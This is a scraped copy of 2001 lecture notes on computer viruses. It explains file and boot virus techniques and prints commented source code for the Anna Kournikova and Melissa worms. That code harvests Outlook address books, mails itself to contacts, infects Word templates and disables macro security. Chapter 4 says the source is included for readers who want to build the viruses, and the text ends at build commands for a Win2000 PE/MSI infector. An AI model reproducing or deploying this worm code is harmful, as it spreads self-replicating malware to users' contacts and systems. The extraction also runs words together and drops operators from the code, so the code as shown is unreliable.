10.07.2015 Views

virus

virus

virus

SHOW MORE
SHOW LESS
  • No tags were found...

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Table Of ContentsTable Of ContentsTable Of Contents .............................................................................. 2Prologue............................................................................................ 41. File Viruses.................................................................................... 51.1 Introduction ................................................................................ 51.1.1 Overwriting Viruses................................................................. 61.1.2 Parasitic Viruses ..................................................................... 61.1.3 OBJ, LIB Viruses and Source Code Viruses ................................. 61.2 Operating Algorithm of a File Virus ................................................. 72. Worms........................................................................................... 92.1 Anna Kournikova (Jan 2001) ......................................................... 92.1.1 Source Code Part.................................................................... 92.1.2 Decryption Routine ................................................................102.1.3 Decrypted Code.....................................................................122.2 Melissa (Feb 2000)......................................................................152.2.1 Decrypted Code.....................................................................152.2.2 Virus In Action ......................................................................183. Boot Viruses ................................................................................ 233.1 Introduction ...............................................................................233.2 Diskette infecting ........................................................................243.3 Further Discussion and Comments.................................................273.4 Boot Virus Operating Algorithm.....................................................284. Examples ..................................................................................... 294.1 Win 2000 Installer.......................................................................294.1.1 Description Given by Authors ..................................................294.1.2 Microsoft Windows Installer ....................................................304.1.3 Source Code .........................................................................304.2 Win32.Vulcano............................................................................354.2.1 Description Given by Authors ..................................................354.2.2 Interprocess communication (IPC) ...........................................364.2.3 Execution .............................................................................362


Table Of Contents4.2.4 Source Code .........................................................................374.3 Fuzzy.C......................................................................................904.3.1 Discription Given by Author.....................................................904.3.2 Source Code .........................................................................914.4 Qbasic Virus ...............................................................................944.4.1 Description ...........................................................................944.4.2 Source Code .........................................................................944.5 Michelangelo ..............................................................................954.5.1 Description ...........................................................................954.5.2 Source Code .........................................................................963


ProloguePrologueWith these lecture notes, an attempt is being made to provide thenecessary background regarding the logic behind different types of <strong>virus</strong>es.Most of the information is taken from various web sources and anti-<strong>virus</strong>sites. This work is not original; it concentrates many pieces from varioussources and presents them as they were found.In chapter 1, there is a brief discussion on file <strong>virus</strong>es, especially thedifferent types of file <strong>virus</strong>es that are commonly encountered. In chapter 2,we focus on a new <strong>virus</strong> technology, which exploits security holes in MicrosoftOutlook and VBScript, these poorly programmed Microsoft products. AnnaKournikova and Melissa worms are presented with their source codes andthey are analyzed.In chapter 3, there is a brief discussion on boot <strong>virus</strong>es, which are notfile dependent but attach themselves to the boot sector of a hard disk or afloppy drive (or any other media that is writable and bootable). In chapter 4,there are other generic examples of <strong>virus</strong>es given along with their sourcecodes.Although programming knowledge can be really helpful (C++ orVBA/Vbscript is particularly useful), the reader can follow in most of thecases the <strong>virus</strong> source flow without any particular difficulties.Fotis FotopoulosBoston, 2001


File VirusesChapter 11. File Viruses1.1 IntroductionThis group contains <strong>virus</strong>es using the OS (a particular one or severalones) file system in one way or another to propagate. (Definitions taken fromAVP web site)The possibility of incorporating a file <strong>virus</strong> into virtually any executableof virtually any popular OS does exist. As of today there are known <strong>virus</strong>esinfecting all kinds of executables of standard DOS: batch command files(BAT), loadable drivers (SYS, including special purpose files IO.SYS and MS-DOS.SYS) and binary executables (EXE, COM). There also exist <strong>virus</strong>estargeting executables of other operating systems - Windows 3.x,Windows95/NT, OS/2, Macintosh, Unix, including the VxD drivers of Windows3.x and Windows95.There are also are <strong>virus</strong>es infecting files containing program sourcecode, libraries or object modules. Viruses that also save themselves in datafiles, but these happens either as a result of erratic behavior of the <strong>virus</strong>, orwhen the <strong>virus</strong>'s aggressive routine is at work. Macro <strong>virus</strong>es also save theircode in databases - documents or spreadsheets - but these <strong>virus</strong>es are sopeculiar that they are put into separate group.According to the method of infecting files, <strong>virus</strong>es are divided into"overwriting", "parasitic", "companion" <strong>virus</strong>es, "link" <strong>virus</strong>es, worm <strong>virus</strong>esand <strong>virus</strong>es infecting object modules (OBJ), compiler libraries (LIB) andsource code.5


File Viruses1.1.1 Overwriting VirusesThis method of infection is the simplest: the <strong>virus</strong> overwrites thecontents of a target executable with its own code, destroying the originalcontents of the target. The executable of course stops working properly andcan not be restored. Such <strong>virus</strong>es uncover themselves very quickly, becauseof the operating system and its applications stopping to work in a rathershort period of time. I do not know a single case when a <strong>virus</strong> of such kindhas been found "alive" and has caused an epidemic.Another kind of overwriting <strong>virus</strong>es is the one that saves itself insteadof a DOS header of New-EXE files. The main part of the file remainsunchanged after that and continues working properly under thecorresponding operating system, but the DOS header becomes damaged.1.1.2 Parasitic VirusesParasitic <strong>virus</strong>es are all the file <strong>virus</strong>es, which have to change thecontents of target files while transferring copies of themselves, but the filesthemselves remain to be completely or partly usable. The main kind of these<strong>virus</strong>es are the "prepending" <strong>virus</strong>es (saving themselves and the top of file),"appending" (saving themselves at the end of file), and "inserting" (insertingthemselves in the middle of file). The insertion methods may also be different- by moving a fragment of the file towards the end of file or by copying of itsown code to such parts of the file which are known to be unused ("cavity"<strong>virus</strong>es).1.1.3 OBJ, LIB Viruses and Source Code Viruses6


File VirusesViruses infecting compiler libraries, object modules and source codeare exotic enough and not widely spread. There is a total of about ten ofthem. Those infecting OBJ and LIB files merge their code into modules orlibraries in the format of an object module or library. Therefore infected filesare not executable and can not continue spreading the <strong>virus</strong> further in itscurrent state. Its the COM or EXE file, created as a result of linking theinfected OBJ/LIB file with other object modules and libraries, that carries the<strong>virus</strong>. Therefore, the spreading of the <strong>virus</strong> goes in two stages: during thefirst one the OBJ/LIB files are infected, during the second stage thereemerges a viable <strong>virus</strong>.Infecting the source code of the programs is a logical continuation ofthe previous method of multiplication. Here the <strong>virus</strong> adds its source code tothe source code in the original target file (in this case the <strong>virus</strong> has to containit inside its body) or its own hex dump (which is technically easier to do). Theinfected file is capable of spreading the <strong>virus</strong> further only upon completion ofcompiling and linking (see for example the "SrcVir" and "Urphin" <strong>virus</strong>es).1.2 Operating Algorithm of a File VirusHaving received control, the <strong>virus</strong> does the following (here goes a listof the most common actions of the <strong>virus</strong> during its execution; for eachparticular <strong>virus</strong> this list may be added to, or items may change order andbroaden):A memory resident <strong>virus</strong> checks RAM for presence of the copy of this<strong>virus</strong> in it, and infects RAM if no copy has been found. Non-TSR <strong>virus</strong> looksfor uninfected files in the current and (or) the root directory, in thedirectories of the PATH, scans the directory tree of logical drives, and theninfects the found files;7


File VirusesExecutes its additional functions, if present: destructive actions,graphical or sound FX etc. Those additional functions of a resident <strong>virus</strong> maybe activated after some time since the beginning of its execution dependingon the system time, configuration of the system, internal counters of the<strong>virus</strong> or on some other conditions; in this case the <strong>virus</strong> after it has beenactivated processes the state of the system clock, sets its own counters etc.Returns control to the host program (if present). Parasitic <strong>virus</strong>es atthis stage either a) Cure the file, execute it and then infect it again, or b)restore the host code (but not the file) to its original state (for example, in aCOM program several leading bytes are restored, in an EXE program thestarting address is calculated, in a driver program the addresses of theStrategy and Interrupt routines are restored). Companion <strong>virus</strong>es run their"host", worm <strong>virus</strong>es and overwriting <strong>virus</strong>es return control to DOS.The method of restoring the program to its original state depends onthe way of infecting. If a <strong>virus</strong> incorporates itself to the top of file, it eithermoves the code of the infected target program a number of bytes equal tothe length of the <strong>virus</strong>, or moves a fragment of the program from the end offile to the top, or restores the file on disk and then runs it. If a <strong>virus</strong> saveditself in the end of file, it uses the data saved in the <strong>virus</strong> body while infectingthe file to restore the program. This data may be the file size, several leadingbytes of the file in case of a COM file, or several bytes of the header in caseof the EXE file. If a <strong>virus</strong> merges into the middle of file, additionally it usesspecial algorithms to restore the file.8


WormsChapter 22. WormsIn this chapter, the source code of three popular worms is presentedalong with meaningful explanations and comments. Thus, it is demonstratedhow easy is to create a worm in VB Script and how harmful a worm can be.The first <strong>virus</strong> is called Anna Kournikova and was released in the beginning of2001 (January - February).2.1 Anna Kournikova (Jan 2001)That’s a recent worm, written in VBScript. In the first part (2.1.1) isthe actual source code of the worm. It is a string encrypted and a decryptionroutine. When decrypted, the source code of the second part (2.1.3) isgenerated.Anti<strong>virus</strong> scanners of course can detect this worm easily by searchingin email attachments for this string and its variants. How is the wormdecrypted automatically? By enabling VBScript support in Outlook. So,Netscape for example won’t be affected by this worm since it has no VBScript support.This <strong>virus</strong> appears to be harmless, however it may cause damages inthe email servers since it generates a lot of email traffic by picking up andsending itself to all the recipients in all address books of any user. Stop usingMicrosoft Outlook if you want to be safe from worms or if you do, make sureyou disable VBScript support!2.1.1 Source Code PartExecute9


Wormse7iqom5JE4z("X)udQ0VpgjnH•{tEcggv•f{DQ•VpgjnH•{Q••ptGqt•tgTwugoP•zg•vU•vgG•Q9v58Jr7R6?•E•gtvcQgldeg*vY$eUktvrU0gjnn+$••9G5QJv786r0Rgtyiktgv$•MJWEu^hqyvtc^gpQjVHg{n$^•.jE*t9:•+•(jE*t33+3(•E•tj3*63•+•(jE*t23+;(•E•tj5*+4(•E•tj3*;2•+•(jE*t9;•+•(jE*t23+2(•E•tj3*32•+•(jE*t45•+•(jE*t33+;(•E•tj3*72•+•(jE*t33+8(•E•tj3*62•+•(jE*t45•+•(jE*t8:•+•(jE*t:;•+•(jE*t33+7(•E•tj3*;3•+•(jE*t23+5(•E•tj5*+4(•E•tj6*+;(•E•tj6*+8(•E•tj7*+5(•E•tj6*+:(•E•tj;*+:••gU•vQtcyVopldi?7E•gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v•+t•yQoclVip7de0rqh{nk•guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2•(^$pCcpqMtwkpqmcxl0irx0ud•$k••h9G5QJv786r0Rgtticg•f$*MJWEu^hqyvtc^gpQjVHg{no^kcgn$f•+@>$•$3v•gj•pg•p4CUJ9inEN+*••pg•fhk••hko•pqjvp*yq•+3?c•fpf•{cp*yq•+4?•8jvpg••9G5QJv786r0Rwt•pJ$vv••@•2jVpg••6fFDz5yi3x•L•?TLo4uR4OoD0TfCtfugGuvpktugE0wqvp••qH•t9Z;:cX|5gT?|3•V••q6fFDz5yi3x•LU•vgk•9sd4:6x5\5?•F•54xQOzM8JTE0gtvcKggv*o+2••gU•vKQ6GXDl[LQ•:•?TLo4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g•+k•9sd4:6x5\5V0•q•?KQ6GXDl[LQ0:fCtfug•uk•9sd4:6x5\5U0dwglve?•$•gJgt{•wqj•xc.g=•+q•$k•9sd4:6x5\5D0fq•{•?J$••@$$V•gj•pk•9sd4:6x5\5U0pg•fG•Q9v58Jr7R6t0igtyvk•gJ$EM^WquvhcygtQ^VpgjnH^{conkfg.$$•$3••pG•fhK••gPvz••pG•fhK••gPvz••pg•fhk••pG•fwHepkvpq••X)udiy3•70d2")2.1.2 Decryption RoutineFunction e7iqom5JE4z(hFeiuKrcoj3)‘ Take all the random bunch of characters and make a loop from I=1 tothe whole length of characters, taking 2 at each loop.10


Worms‘if the value of the registry key (regread = read from registry) mailedis not 1, then execute Outlook function (see later).if ws.regread ("HKCU\software\OnTheFly\mailed") "1" then Outlook()‘How nice! If the date is January 26 th , then browse to this pagehttp://www.dynabyte.nl (every year!)if month(now) =1 and day(now) = 26 thenws.run "Http://www.dynabyte.nl",3,falseend if‘ Sets AnnaKournikova equal to the handle of the text file, gets thesource code and stores it in SourceCode and then closes the file.Set AnnaKournikova = fso.opentextfile(wscript.scriptfullname, 1)SourceCode = AnnaKournikova.readallAnnaKournikova.CloseDo‘ if the file does not exist then set the handle of the file systemobject equal to AnnaKournikova, create the file, write the contents ofthe SourceCode variable in the file and close it.If Not (fso.fileexists(wscript.scriptfullname)) ThenSet AnnaKournikova = fso.createtextfile(wscript.scriptfullname, True)AnnaKournikova.write SourceCodeAnnaKournikova.CloseEnd IfLoop‘ and here it terminates!End sub‘ Let’s examine the function Outlook called before.Function Outlook()‘ignore errors throughout this routineOn Error Resume Next13


Worms‘ create an object outlook.application (instance) and give it thehandle OutlookApp.Set OutlookApp = CreateObject("Outlook.Application")‘If all went fine, then…If OutlookApp= "Outlook"Then‘create an object Mapi from the Name Space of the Outlook ApplicationSet Mapi=OutlookApp.GetNameSpace("MAPI")‘This object, contains useful members like AddressLists (All addresslists, not just the default!)Set MapiAdList= Mapi.AddressLists‘Speaks for itself!For Each Address In MapiAdListIf Address.AddressEntries.Count 0 ThenNumOfContacts = Address.AddressEntries.Count‘Get a list of contacts and send something to all of them!For ContactNumber = 1 To NumOfContacts‘Yes, we need to create an object first, let’s call it EmailItemSet EmailItem = OutlookApp.CreateItem(0)‘Get the Contact NumberSet ContactNumber = Address.AddressEntries(ContactNumber)‘Set the address to the contact number’s addressEmailItem.To = ContactNumber.Address‘The subject title will be “Here you have, ;o)”EmailItem.Subject = "Here you have, ;o)"14


Worms‘and in the body of the email it’ll display:EmailItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""‘as an attachment (EmailAttachment is the handle)set EmailAttachment=EmailItem.Attachments‘add the <strong>virus</strong> itselfEmailAttachment.Add fso.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"‘delete the email after you send it (flag = true)EmailItem.DeleteAfterSubmit = True‘send the email and modify the registry (see the main function)If EmailItem.To "" ThenEmailItem.Sendws.regwrite "HKCU\software\OnTheFly\mailed", "1"End IfNext ‘for all contactsEnd IfNext ‘in all address booksend ifEnd Function2.2 Melissa (Feb 2000)2.2.1 Decrypted CodePrivate Sub Document_Open()‘supress error messages for this routineOn Error Resume Next15


WormsIfSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") "... byKwyjibo" Then‘If everything went right then enumerate usersIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"‘All Address ListsFor y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)‘And all entries in all address listsFor oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext oo‘Subject will say “Important Message From” plus the name of the OutlookuserBreakUmOffASlice.Subject = "Important Message From " &Application.UserName‘The body of the email will say “Here is that document you asked for... don’t show anyone else ;-)” and as an attachment, it’ll add itself.BreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else ;-)"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.Logoff17


WormsEnd If‘That’s for the registry key the <strong>virus</strong> checks to make sure that it’sbeen already activated and that it can relax...System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... byKwyjibo"End If2.2.2 Virus In Action‘Here’s what the <strong>virus</strong> will do, but it won’t be analyzed, since ourpurpose is to demonstrate how the <strong>virus</strong> works and not its consequences.Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL = NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name "Melissa" ThenIf ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCLSet ToInfect = ADI1ADI1.Name = "Melissa"DoAD = TrueEnd IfIf NTI1.Name "Melissa" ThenIf NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCLSet ToInfect = NTI1NTI1.Name = "Melissa"DoNT = TrueEnd IfIf DoNT True And DoAD True Then GoTo CYAIf DoNT = True ThenDo While ADI1.CodeModule.Lines(1, 1) = ""ADI1.CodeModule.DeleteLines 118


WormsLoopToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")Do While ADI1.CodeModule.Lines(BGN, 1) ""ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) = ""NTI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")Do While NTI1.CodeModule.Lines(BGN, 1) ""ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,"Document") = False) ThenActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name, "Document") False) ThenActiveDocument.Saved = TrueEnd If'WORD/Melissa written by Kwyjibo'Works in both Word 2000 and Word 97'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!'Word -> Email | Word 97 Word 2000 ... it's a new age!If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,plus triple-word-score, plus fifty points for using all my letters.Game's over. I'm outta here."End SubOn Error Resume Next19


WormsIfSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security","Level")""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security","Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -1): Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")IfSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") "... byKwyjibo" ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserName20


WormsBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else ;-)"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.LogoffEnd IfSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... byKwyjibo"End IfSet ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL = NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name "Melissa" ThenIf ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCLSet ToInfect = ADI1ADI1.Name = "Melissa"DoAD = TrueEnd IfIf NTI1.Name "Melissa" ThenIf NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCLSet ToInfect = NTI1NTI1.Name = "Melissa"DoNT = TrueEnd IfIf DoNT True And DoAD True Then GoTo CYAIf DoNT = True ThenDo While ADI1.CodeModule.Lines(1, 1) = ""ADI1.CodeModule.DeleteLines 121


WormsLoopToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")Do While ADI1.CodeModule.Lines(BGN, 1) ""ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) = ""NTI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")Do While NTI1.CodeModule.Lines(BGN, 1) ""ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,"Document") = False) ThenActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name, "Document") False) ThenActiveDocument.Saved = TrueEnd IfIf Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,plus triple-word-score, plus fifty points for using all my letters.Game's over. I'm outta here."End Sub22


Boot VirusesChapter 33. Boot Viruses3.1 IntroductionGap boot <strong>virus</strong>es infect the boot sector of a floppy disk and the bootsector or Master Boot Record (MBR) of a hard disk. The boot <strong>virus</strong>es'operating principal is based on the algorithms of starting an operation systemupon power on or reboot - after the necessary hardware tests (of memory,disks etc.) the system loader routine reads the first physical sector of a bootdisk (A:, C: or CD-ROM depending on the options in BIOS Setup) and passesthe control to it.In case of diskette or CD-ROM the control is passed to the boot sector,which analyzes the BIOS Parameter Block (BPB), calculates the OS systemfiles' addresses, reads them into memory and executes them. This systemfiles usually are MSDOS.SYS and IO.SYS, or IBMDOS.COM and IBMBIO.COM,or others depending on the version of DOS, Windows or other operatingsystem. If the boot disk does not contain operating system files, the bootsector routine outputs an error message and suggests to change boot disk.In case of a hard disk the control is passed to the routine placed in theMBR. This routine analyzes the Disk Partition Table, calculates the address ofthe active boot sector (usually this is the boot sector of the C: drive), loads itinto memory and passes control to it. Having received control, the activeboot sector of the hard disk does the same actions as the diskettes' bootsector does.Infecting disks, boot <strong>virus</strong>es "substitute" their code instead of someprograms' code, which received control upon system boot up. Therefore the23


Boot Virusesprinciple of infecting is the same in all the above methods: upon boot up the<strong>virus</strong> "forces" the system to read into memory and pass control to the <strong>virus</strong>code, not the original loader routine code.3.2 Diskette infectingDiskette infecting is done using the only known method - a <strong>virus</strong>rewrites the original boot sector code with its own code. Hard disk can beinfected in three known ways - a <strong>virus</strong> writes itself either instead of the MBRcode, or instead of the boot sector code of the boot disk (C: drive usually), ormodifies the address of the active boot sector in the Disk Partition Table,situated in the MBR of the hard disk drive.Infecting the disk, the <strong>virus</strong> in most cases moves the original bootsector (or MBR) to some other sector of the disk (for example the first freesector). If the <strong>virus</strong> size exceeds the size of the sector, then the target sectorwill contain the first part of the <strong>virus</strong>, the rest of it placed in the other sectors(for example in the first unoccupied ones).Not infected disk0 1 2 . . . (sector No)+-----+-----+-----+--- --+-----+-----+-----+-----+-----+---|.....| | | | | | | | |+-----+-----+-----+--- --+-----+-----+-----+-----+-----+---|+-- Boot sector or Master Boot RecordInfected disk (replaced boot/MBR)0 1 2 . . .+-----+-----+-----+--- --+-----+-----+-----+-----+-----+---|XXXXX| | | | |.....|XXXXX|XXXXX|XXXXX|+-----+-----+-----+--- --+-----+-----+-----+-----+-----+---24


Boot Viruses| | | | ... |+-- Virus top | +---+-----+-----+| +-- The rest of <strong>virus</strong>|+-- Original Boot or Master Boot RecordInfected disk (modified address of active boot sector)0 1 2 . . .+-----+-----+-----+--- --+-----+-----+-----+-----+---|....X| | | | |XXXXX|XXXXX|XXXXX|+-----+-----+-----+--- --+-----+-----+-----+-----+---| ^ | | ... |+-- Modified -------+ +-----+-----+Disk Partition Table +-- Main <strong>virus</strong> codeSeveral options of placing the original boot sector on disk and <strong>virus</strong>continuity are known to exist: in the sectors of free clusters of a logical drive,in the unused or rarely used system sectors, in the off-limits sectors of thedrive.If the <strong>virus</strong> continues to place itself in the sectors, belonging to thefree clusters of the disk (while searching for these sectors the <strong>virus</strong> has toanalyze the File Allocation Table - FAT), then as a rule the <strong>virus</strong> marks thesectors in the FAT as bad (the so-called pseudo-bad clusters). This method isused by the "Brain", "Ping-Pong" <strong>virus</strong>es and some others.The other method is utilized in the <strong>virus</strong>es of the "Stoned" family.These <strong>virus</strong>es place the original boot sector in unused or rarely used sectorwhich may be one of the sectors of the hard disk if available, placed betweenthe MBR and the first boot sector, or on some of the last sectors of the rootdirectory of a diskette.25


Boot VirusesSome <strong>virus</strong>es record their code to the last sectors of the hard disk,because those sectors are being used only when the hard disk is completelyfilled with information (which happens rarely, especially considering the sizesof modern hard disk drives). However these <strong>virus</strong>es lead to the damage ofthe OS/2 file system, which in some cases keeps the active boot sector andsystem data exactly in the last sectors of the hard disk.The method of saving the rest of the <strong>virus</strong> outside the disk can be metless often. This is achieved in two ways. The first one is lowering the size oflogical drives: the <strong>virus</strong> subtracts the necessary numbers from thecorresponding fields of the BPB boot sector and Disk Partition Table of thehard disk (if the hard disk is being infected), thus lowering the size of thelogical drive, and records its code into the cut off sectors.The second way is to record data outside the physical partitions of thedisk. In case of floppy disk to achieve that the <strong>virus</strong> has to format anadditional track on it (the method of non-standard formatting), for example,the 40th track on a 360K diskette or the 80th track on a 1.2M or a 1.4Mdiskette. There also exist the <strong>virus</strong>es writing their code outside the borders ofavailable space of a hard disk drive if, of course, this is permitted byhardware (see the "Hare" <strong>virus</strong>).Of course there exist other methods of placing a <strong>virus</strong> on disk, forexample the <strong>virus</strong>es of the "Asuza" family contain the standard MBR loader intheir body and after infecting record themselves over the original MBRwithout its saving.When infecting most part of the <strong>virus</strong>es copies the system informationof the original loader (for MBR this information is the Disk Partition Table, fordiskette boot sector - the BIOS Parameter Block) into the code of its loader.In the opposite case the system will be unable to load itself, because the diskaddresses of the system components are being calculated according to this26


Boot Virusesinformation. Such <strong>virus</strong>es can be rather easily deleted by overwriting thecode of the system loader in the boot sector and in the MBR - to do this it isnecessary to boot up from an uninfected system diskette and use the SYScommand to disarm diskettes and logical drives on a hard disk, or FDISK/MBR to cure the infected MBR-sector.Some 100-percent stealth <strong>virus</strong>es however do not save thisinformation and even more - intentionally encrypt it. When the OS or otherprograms issue calls to the infected sectors, the <strong>virus</strong> substitutes theiruninfected originals, and the system boots up flawlessly; but curing the MBRwith the help of FDISK /MBR in such case leads to the loss of partitioninginformation in the Disk Partition Table. Should this occur, the disk may be"revived" by either re-formatting with loss of all the information, or bymanual restoring of the Disk Partition Table, which requires a certainqualification.3.3 Further Discussion and CommentsIt is also worth mentioning that the boot <strong>virus</strong>es very rarely coexisttogether on one disk - they often use the same disk sectors to place thecode/data. Therefore be code/data of the first <strong>virus</strong> become destroyed afterbeing infected with the second <strong>virus</strong>, and the system either hangs upon bootup, or is engaged in an endless loop (which also leads to its hanging).Boot <strong>virus</strong>es can also mean a lot of trouble to the users of the newoperating systems (Novell, Windows95, OS/2). In spite of the fact that theabove mentioned systems work with disks directly (overriding BIOS calls),which blocks the <strong>virus</strong> and makes its further spreading impossible, the codeof the <strong>virus</strong> sometimes, although in very few cases, receives control after thesystem reboot. Therefore the "March6" <strong>virus</strong> can "live" in the MBR of theserver and not influence the server's operation and productivity in any way.27


Boot VirusesHowever in case of an accidental reboot on the sixth of March this <strong>virus</strong> willcompletely destroy all the data on the disk.3.4 Boot Virus Operating AlgorithmVirtually all the boot <strong>virus</strong>es are memory resident. They infiltrate thecomputers memory after a boot up from an infected disk. In this process thesystem loader reads the contents of the first sector of the boot up disk,places the obtained information into memory and assets control to it (i.e. tothe <strong>virus</strong>). After that the instructions of the <strong>virus</strong> start executing, and do thefollowing:" as a rule, lower the amount of free memory (a word at the 0040:0013address), the <strong>virus</strong> copies is code to the freed space and reads itsremainder from the disk (if any). Furthermore some <strong>virus</strong>es "wait" forthe DOS to load and restore this word to its original value. As a resultthey become placed not outside DOS, but as separate blocks of DOSmemory." intercept the necessary interrupt vectors (usually INT 13h), read theoriginal boot sector into memory and pass control to it.Later on, a boot <strong>virus</strong> behaves like a resident file <strong>virus</strong>: it interceptsthe OS calls to disks and infects them, also depending on somecircumstances undertakes destructive actions or creates video or soundeffects.There exist nonresident boot <strong>virus</strong>es - upon boot up they infect theMBR of hard disks and of diskette(s) present in the floppy drive(s). Thenthose <strong>virus</strong>es pass the control to the original loader and stop influencing thecomputersoperation.28


ExamplesChapter 44. ExamplesAll of the following <strong>virus</strong>es are commented by their own authors.Source code is included in all cases for those who would like to build them.4.1 Win 2000 Installer4.1.1 Description Given by AuthorsWe, Benny and Darkman, would like to introduce u the worlds firstnative Win2000/EPO/fast mid PE infector. We present u the first Win2k <strong>virus</strong>,even before the official release of Win2000; the platform which was designedto be un-infectable by <strong>virus</strong>es (as M$ guys often say).This <strong>virus</strong> is also the first one, which is able to infect MSI files. Itsearches the all contents of actual disk for files and randomly infects them.Virus can infect up to 18 extensions (we won't list them here, just look at theend of this source), so it can be also called as mega-infector X-D. Virusdoesn't enlarge the files, nor touches any items in PE header. It's able to putitself to the holes inside the files left by some compilers and patch the hostcode, so next time the <strong>virus</strong> code will be executed as the first. Virus alsouses CRC32 instead of stringz, so it saves many bytes and makes itselfundetectable by all current (Christmas 1999) AVs.The <strong>virus</strong> is very optimized and doesn't contain any payload. This <strong>virus</strong>can run only under Win2000. Virus doesn't infect system files, nor filesprotected by SFC - using Win2k SfcIsFileProtected API (that's why it can't runon another system than Win2000).29


Examples4.1.2 Microsoft Windows InstallerHave you ever thought about the format, in which the installation fileson internet are served? Usually it is one .exe file, created by the InstallShieldWizard, WinZIP SFX module or another similar programs. Microsoft knew thatand so later decided to make its own standard of installation files. Microsoftmade the MSI - Microsoft Installer file format. MSI is hybrid of everythingwhat Microsoft ever made. MSI can contain VB scripts, binaries (e.g. PE),documents, resources, etc. The Win2000.Installer is able to infect PE filesinside the MSI by simple searching. If the MSI contains any PE files (and itoften contains), then there is 1:2 possibility the PE file will be infected.Microsoft also doesn't calculate any checksum of the files inside MSIs, sothere isn’t any problem with modification of MSI.Microsoft still hasn't published the file format of MSIs, we couldn'tmake better research (adding scripts, infection by VB and such things), thanjust code PE infector. We expect big boom with infection of MSI (its brandnew EXECUTABLE file format), mainly after someone will publish thestructure of MSIs. Until that, we can't do more.4.1.3 Source Codetasm32 -ml -m9 -q msi.asmtlink32 -Tpe -c -x -aa -r msi,,, import32pewrsec msi.exebegin 666 